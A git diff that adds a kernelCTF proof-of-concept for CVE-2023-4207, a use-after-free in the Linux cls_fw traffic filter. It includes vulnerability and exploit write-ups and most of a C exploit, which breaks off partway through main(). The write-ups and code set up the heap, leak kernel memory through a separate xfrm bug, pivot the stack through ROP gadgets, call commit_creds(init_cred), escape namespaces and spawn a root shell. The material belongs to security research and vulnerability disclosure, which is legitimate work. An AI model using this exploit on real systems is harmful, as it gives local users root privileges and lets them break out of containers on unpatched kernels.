diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/docs/exploit.md new file mode 100644 index 00000000..4aae64fe --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/docs/exploit.md @@ -0,0 +1,174 @@ +## Setup + +First, we create a root qdisc of the DRR type. +Any classful qdisc can be used, but this choice affects the sizes of the objects involved in the exploitation. + +Next, we create two child classes: 0x10001 and 0x10002. + +We also add two filters attached to the root qdisc, bound to the same 0x10001 class, with handles 1 and 2 and a bitmask of 0xf. +Matching in fw filter works by masking the packet's mark value with the filter's mask and then comparing it to the filter handle, so in this simple setup packets with mark value 2 will be matched by filter with handle 2. + +Finally, we add an iptables rule to set the fw mark on all OUTPUT packets to 2 - this will allow us to trigger a match on a filter and execute the enqueue() function. + +## Triggering use-after-free + +To trigger the vulnerability [scenario 2](vulnerability.md#scenario-2) is used. + +We change the bound class of the first filter (handle 1) to class 0x10002. +This causes field filter_cnt of class 0x10001 to become 0, allowing us to delete it. + +## Getting RIP control + +Deleting a DRR class frees two objects: +- struct drr_class, freed directly by kfree() in drr_destroy_class +- struct qdisc scheduled to be freed through RCU in __qdisc_destroy() + + +### LTS/COS exploit + +The simplest way to get code execution is to target ->enqueue() function pointer of the qdisc struct: +``` +struct qdisc { + int (*enqueue)(struct sk_buff *, struct qdisc *, struct sk_buff * *); /* 0 0x8 */ + struct sk_buff * (*dequeue)(struct qdisc *); /* 0x8 0x8 */ +... +``` + +->enqueue() is called from dev_qdisc_enqueue() after a packet is classified to a given class by fw_classify(). + +Struct qdisc is allocated from kmalloc-512, so we need a heap allocation primitive that will allocate from that cache and gives us control of the first 8 bytes of the object, which excludes some popular options like keys and xattrs. + +In this exploit we used a netlink allocation primitive - if a message is sent on the netlink socket (other kinds can be used as well), kernel allocates a buffer for the data to be sent in __alloc_skb() using a kmalloc_reserve() wrapper which for the sizes we are interested in uses a regular general-use kmalloc cache. +User data is copied at the very beginning of this buffer, with skb metadata (skb_shared_info) added at the end. + +One last thing to remember is that we have to sleep for a bit to give RCU time to perform the callback that will free the qdisc object. + +After contents of the qdisc object are under our control we just have to send any packet to get RIP control. + +In this exploit we rely on the external KASLR leak, so the kernel text address is known beforehand. + + +### Mitigation exploit + +When I was writing the original mitigation exploit, I incorrectly assumed that targeting the qdisc object wouldn't work on the mitigation instance because of the static/dynamic kmalloc cache split. +Looking back at this now, I see that the original exploit for LTS would work perfectly fine on mitigation (after adjusting offsets etc) because qdisc is allocated from dynamic cache due to its size being calculated at runtime in qdisc_alloc(). + +I'll document this unnecessarily complicated approach here anyways in case someone finds it interesting. + +The mitigation exploit targets the other object freed when the class is deleted - struct drr_class. +This object has a qdisc pointer at offset 0x60. If we managed to overwrite it with a pointer to a fake qdisc object, we could gain code execution in a similar way to the LTS exploit. + +There are two issues to overcome with this approach: +- drr_class is a fixed-size allocation, so with CONFIG_KMALLOC_SPLIT_VARSIZE enabled we have to find an object allocated from kmalloc-128 that has fixed size and has user-controlled data at offset 0x60 +- We have to have a place with a known address to store the fake qdisc object + +First issue is solved by the struct clusterip_config which has a following field at the end: +``` +struct clusterip_config { +... + char ifname[16]; /* 0x60 0x10 */ + +} + +``` + +This object is allocated when creating an iptables rule with the CLUSTERIP target. +The network interface provided in the ifname field has to exist, but this not a problem because we can rename the loopback interface to any name we want. +The only restriction is that we can't use null or whitespace bytes. + +The issue with placing the payload at a known address was solved by exploiting a separate infoleak vulnerability in the xfrm subsystem: + +``` +author Herbert Xu 2023-02-09 09:09:52 +0800 +committer Steffen Klassert 2023-02-13 13:38:58 +0100 +commit 8222d5910dae08213b6d9d4bc9a7f8502855e624 + +xfrm: Zero padding when dumping algos and encap +``` + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8222d5910dae08213b6d9d4bc9a7f8502855e624 + +This vulnerability allows us to leak 64 bytes of uninitialized data from the xfrm_algo object allocated from the kmalloc-96 cache. +We'll use it to leak data of a simple_xattr object, which looks like this: +``` +struct simple_xattr { + struct list_head list; /* 0 0x10 */ + char * name; /* 0x10 0x8 */ + size_t size; /* 0x18 0x8 */ + char value[]; /* 0x20 0 */ + +}; +``` + +Here's a procedure to get our data at a known address: + +1. Create xattr x1 with data length of 96, but name length of 256 bytes so that simple_xattr is allocated from kmalloc-96, but name from kmalloc-256. +2. Remove x1 and allocate xfrm_algo in place of its simple_xattr. +3. Read x1->name pointer using infoleak. +4. Create a new xattr x2 with data length placing it into kmalloc-256. This will be allocated in place of the x1's name buffer that was freed when x1 was removed. We now have controlled data at the address we leaked + 0x20 (simple_xattr header takes 0x20 bytes). + +Next step is to rename the loopback interface to the name matching pointer to our fake qdisc object stored in x2. +After this is done, we trigger the use-after-free in the same way as with LTS exploit and create an iptables CLUSTERIP rule with input interface set to the fake qdisc's address. +This overwrites struct drr_class with struct clusterip_config, setting qdisc pointer of the former to the address of our fake object. + +Finally, we send a network packet to be matched by fw_classify() leading to the ->enqueue function pointer of our fake qdisc being called. + +## Pivot to ROP + +When ->enqueue() is called registers are as follows: +- RDI - pointer to the skb +- RSI - pointer to the qdisc +- RAX - copy of the RSI + +RDI is not that useful to us, but RSI and RAX point directly to the data under our control.. + +Stack pivot has three stages using different gadgets. + +#### Gadget 1 + +``` +lea rdi, [rax + 0x20] +mov rax, qword ptr [rax + 0x30] +jmp __x86_indirect_thunk_rax +``` + +This adds 0x20 to our controlled data pointer, stores it into RDI and jumps to the next gadget. +Adding 0x20 is very helpful, because we can't use the very beginning of the buffer as the start of the ROP - it contains the address of our first gadget. + +#### Gadget 2 + +``` +push rdi +jmp qword [rsi+0x0F] +``` + +This pushes location of our ROP chain to the stack and jumps to the next gadget. + +#### Gadget 3 + +``` +pop rsp +ret +``` + +Finally, we pop the previously pushed ROP location into RSP, completing the pivot + +Gadgets above are from the LTS exploit, COS/mitigation versions work exactly the same, differences are only in registers used and offsets. + +## Second pivot + +At this point we have full ROP, but there is not much space - most of our buffer is taken by skb_shared_info struct at the end. +To have enough space to execute all privilege escalation code we have to pivot again. +This is quite simple - we choose an unused read/write area in the kernel and use copy_user_generic_string() to copy the second stage ROP from userspace to that area. +Then we use `pop rsp ; ret` gadget to pivot there. + +## Privilege escalation + +To escalate our process's privileges we execute following functions from ROP chain: + +- commit_creds(init_cred) +- switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) + +Then we set up registers for return to the userspace and jump to the `swapgs ; sysret` gadget in return_via_sysret. + +After getting back to userspace we call setns() on namespaces of pid 1 to complete escape to the initial namespace. diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/docs/vulnerability.md new file mode 100644 index 00000000..88ceef38 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/docs/vulnerability.md @@ -0,0 +1,107 @@ +## Requirements to trigger the vulnerability + +- CAP_NET_ADMIN in a namespace is required +- Kernel configuration: CONFIG_NET_CLS_FW +- User namespaces required: Yes + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e35a8ee5993ba81fd6c092f6827458c60406255b + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=76e42ae831991c828cffa8c37736ebfb831ad5ec + +## Affected kernel versions + +Introduced in 3.18. Fixed in 6.5, 6.1.44, 5.15.125 and other stable trees. + +## Affected component, subsystem + +net/sched: cls_fw + +## Description + +When fw_change() is called on an existing filter, data from the existing object is copied to the newly allocated one and then fw_set_parms +() is called on it: +``` + fnew = kzalloc(sizeof(struct fw_filter), GFP_KERNEL); + if (!fnew) + return -ENOBUFS; + + fnew->id = f->id; +[1] fnew->res = f->res; + fnew->ifindex = f->ifindex; + fnew->tp = f->tp; + + ... + err = fw_set_parms(net, tp, fnew, tb, tca, base, flags, extack); + +``` + +The copied data includes a "res" field which is a tcf_result structure containing a pointer to the target class of a given filter. + +fw_set_parms() calls tcf_bind_filter() if TCA_FW_CLASSID is set: + +``` + if (tb[TCA_FW_CLASSID]) { + f->res.classid = nla_get_u32(tb[TCA_FW_CLASSID]); +[2] tcf_bind_filter(tp, &f->res, base); + } +``` + +tcf_bind_filter() calls .bind_tcf handler on the target class, but if f->res.class was already set it also calls .unbind_tcf on it: + +``` +static inline void +__tcf_bind_filter(struct Qdisc *q, struct tcf_result *r, unsigned long base) +{ + unsigned long cl; + + cl = q->ops->cl_ops->bind_tcf(q, base, r->classid); + cl = __cls_set_class(&r->class, cl); + if (cl) +[3] q->ops->cl_ops->unbind_tcf(q, cl); +} +``` + + +.bind_tcf/.unbind_tcf for most classful qdiscs just increase/decrease filter_cnt counter, which serves as a protection against class being destroyed, e.g.: +``` +static void drr_unbind_tcf(struct Qdisc *sch, unsigned long arg) +{ + struct drr_class *cl = (struct drr_class *)arg; + + cl->filter_cnt--; +} + +static int drr_delete_class(struct Qdisc *sch, unsigned long arg, + struct netlink_ext_ack *extack) +{ + struct drr_sched *q = qdisc_priv(sch); + struct drr_class *cl = (struct drr_class *)arg; + + if (cl->filter_cnt > 0) + return -EBUSY; +... +``` + +This leads to a use-after-free (dangling res.class pointer) in two scenarios: + +#### Scenario 1 + +fw_change() is called on the filter with an already bound target class "c1" and there is no TCA_FW_CLASSID in the new parameters. +tcf_unbind_filter() is called on the old filter in [4]. +filter_cnt of the class "c1" is decreased and it is possible to delete it, however the to the class c1 was copied to fnew in [1] and is still set +in the new version of the filter. + + +#### Scenario 2 + +fw_change() is called on the filter with an already bound target class "c1", there is a TCA_FW_CLASSID in the new parameters, but it is set to the different class "c2" +Class "c1" is also bound to another filter "f2", so its filter_cnt is 2 at the start. + +tcf_bind_filter() is called in [2] leading to the unbind_tcf call [3] on the "c1" class. filter_cnt of "c1" is now 1. +Finally, tcf_unbind_filter() is called in [4] leading to the second unbind_tcf on the "c1" class. +This sets the filter_cnt of the "c1" to 0, allowing it to be destroyed, but it is still bound to the "f2" filter. + diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/Makefile b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/Makefile new file mode 100644 index 00000000..bf8313f1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/Makefile @@ -0,0 +1,9 @@ +INCLUDES = -I/usr/include/libiptc -I/usr/include/libnl3 +LIBS = -L. -pthread -lip4tc -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl +CFLAGS = -fomit-frame-pointer -static + +exploit: libip4tc.a + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libnl-cli-3-dev libnl-route-3-dev libip4tc-dev diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit new file mode 100755 index 00000000..cc7fc595 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit.c b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit.c new file mode 100644 index 00000000..ef0de3bc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit.c @@ -0,0 +1,830 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_17162.127.42.h" + + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + +} + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 + +static int g_pwned; + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + int pid = fork(); + if (!pid) { + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + } + + + waitpid(pid, &g_status, 0); + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init2(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + + if (nlmsg->pos - (char *) attr > 0xffff) + errx(1, "Netlink attribute max size exceeded\n"); + + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); + + g_nl_sock = nl_cli_alloc_socket(); + nl_cli_connect(g_nl_sock, NETLINK_ROUTE); + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); +} + + + +void add_class_drr(uint32_t handle, uint32_t parent, uint32_t weight, uint32_t lmax) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + + if (parent) + hdr.tcm_parent = parent; + else + hdr.tcm_parent = TC_H_MAJ(handle); + + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_NEWTCLASS, flags, &hdr, sizeof(hdr)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + + netlink_done(&nlmsg); + int ret = netlink_send(&nlmsg, sock); + + if (ret) + err(2, "drr create: %d", ret); + close(sock); +} + +void add_drr(uint32_t handle, uint32_t parent, int edit) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + + if (parent) + hdr.tcm_parent = parent; + else + hdr.tcm_parent = TC_H_ROOT; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_NEWQDISC, flags, &hdr, sizeof(hdr)); + + char kind[] = "drr"; + netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + + netlink_done(&nlmsg); + int ret = netlink_send(&nlmsg, sock); + + if (ret) + err(2, "drr create: %d", ret); + close(sock); +} + + +void delete_class(uint32_t handle) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = TC_H_ROOT; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_DELTCLASS, flags, &hdr, sizeof(hdr)); + + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + int err = netlink_send(&nlmsg, sock); + + close(sock); +} + +void add_iptables_mark() +{ + struct xtc_handle *h = iptc_init("mangle"); + if (!h) + err(1, "iptc init"); + + unsigned int targetOffset = XT_ALIGN(sizeof(struct ipt_entry)); + unsigned int totalLen = targetOffset + XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct xt_mark_tginfo2)); + + struct ipt_entry* e = (struct ipt_entry *)calloc(1, totalLen); + if(e == NULL) { + err(1, "calloc"); + } + + e->target_offset = targetOffset; + e->next_offset = totalLen; + + struct xt_entry_target* target = (struct xt_entry_target *) e->elems; + target->u.target_size = XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct xt_mark_tginfo2)); + + strncpy(target->u.user.name, "MARK", strlen("MARK") + 1); + target->u.user.revision = 2; + struct xt_mark_tginfo2 *info = (struct xt_mark_tginfo2 *) target->data; + info->mask = 0; + info->mark = 2; + + if (!iptc_append_entry("OUTPUT", e, h)) { + printf("iptc_append_entry::Error insert/append entry: %s\n", iptc_strerror(errno)); + goto end; + } + if (!iptc_commit(h)) { + err(1, "commit: %s\n", iptc_strerror(errno)); + } + + end: + free(e); + iptc_free(h); +} + +void add_fw_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t target, int edit) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + int prio = 1; + + int flags = 0; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = parent; + hdr.tcm_handle = handle; + + hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL)); + + netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr)); + + netlink_attr(&nlmsg, TCA_CHAIN, &chain, sizeof(chain)); + char kind[] = "fw"; + netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + uint32_t mask = 0xf; + netlink_attr(&nlmsg, TCA_FW_MASK, &mask, sizeof(mask)); + + if (target) { + uint32_t class_id = target; + netlink_attr(&nlmsg, TCA_FW_CLASSID, &class_id, sizeof(class_id)); + } + + netlink_done(&nlmsg); + int err = netlink_send(&nlmsg, sock); + + close(sock); +} + + +void *trigger_classify() +{ + int ret, sock; + struct sockaddr_in client_addr; + + sock = socket(AF_INET, SOCK_DGRAM, 0); + + client_addr.sin_family = AF_INET; + client_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + client_addr.sin_port = htons(2000); + + struct msghdr hdr; + memset(&hdr, 0, sizeof(hdr)); + + struct iovec iov[1]; + iov[0].iov_base = "A"; + iov[0].iov_len = 1; + + hdr.msg_iov = iov; + hdr.msg_iovlen = 1; + hdr.msg_name = &client_addr; + hdr.msg_namelen = sizeof(client_addr); + + + sendmsg(sock, &hdr, 0); + +} + +static char *g_rop2; +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP2_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP2_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + + rop_rax2rdi(&rop2); // clobbers RCX + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + +void prepare_fake_qdisc(char *buf) +{ +/* + lea rdi, [rax + 0x20] + mov rax, qword ptr [rax + 0x30] + jmp __x86_indirect_thunk_rax +*/ + uint64_t g1 = kaddr(G1); + +// 0xffffffff81df4175: push rdi ; jmp qword [rsi+0x0F] + uint64_t g2 = kaddr(PUSH_RDI_JMP_QWORD_RSI_0F); + + *(uint64_t *) (buf) = g1; + *(uint64_t *) (buf + 0xF) = kaddr(POP_RSP); + *(uint64_t *) (buf + 0x30) = g2; + uint64_t *rop = (uint64_t *) (buf+0x20); + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2((uint64_t *) g_rop2); + + if (rop2_len > ROP2_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP2_CONST_OFFSET); + + *rop++ = kaddr(POP_RSI_RDX_RCX); + *rop++ = (uint64_t) g_rop2; +// jump over 0x30/g2 + rop += 2; + + *rop++ = kaddr(POP_RDX_RDI); + *rop++ = ROP2_CONST_OFFSET + ROP2_CONST_AREA; + *rop++ = kaddr(RW_BUFFER); + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + + *rop++ = kaddr(POP_RSP); + *rop++ = kaddr(RW_BUFFER); + *rop++ = kaddr(POP_RDI+1); // ret +} + +void prepare_netlink_listener(unsigned int port_id) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (sock == -1) { + err(1, "socket netlink\n"); + } + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = port_id; + if (bind(sock, (struct sockaddr*)&addr, sizeof(addr))) + err(1, "bind netlink fail\n"); +} + +int alloc_netlink(size_t len, char *buf) +{ + static unsigned int port_id = 0x6666; + + prepare_netlink_listener(port_id); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (sock == -1) { + err(1, "socket netlink\n"); + } + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = port_id++; + + ssize_t n = sendto(sock, buf, len - 0x140, MSG_DONTWAIT, (struct sockaddr*)&addr, sizeof(addr)); + + if (n < 0) + err(1, "sendto netlink\n"); +} + + +int main(int argc, char **argv) +{ + if (argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) { + g_kernel_text = strtoull(argv[1], NULL, 16); + } else { + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + } + + printf("Kernel base: 0x%lx\n", g_kernel_text); + + setbuf(stdout, NULL); + + setup_namespaces(); + + 